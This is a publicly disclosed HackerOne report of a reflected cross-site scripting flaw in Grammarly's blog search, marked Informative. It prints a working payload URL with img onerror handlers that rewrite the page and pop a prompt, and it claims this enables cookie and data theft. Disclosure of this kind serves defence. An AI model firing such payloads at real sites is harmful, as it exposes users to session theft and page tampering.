Superhuman (formerly Grammarly) · Report #435144

Reflected Cross Site Scripting (XSS)

Informativestatus

mediumseverity

11upvotes

30 Apr 2019disclosed

How it was found

hi there, here is the link that fired XSS

https://www.grammarly.com/blog/search/"><img src=x onerror=document.body.innerHTML=location.hash>#<img src=x onerror=prompt(1)>

stealing cookies stealing data etc.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original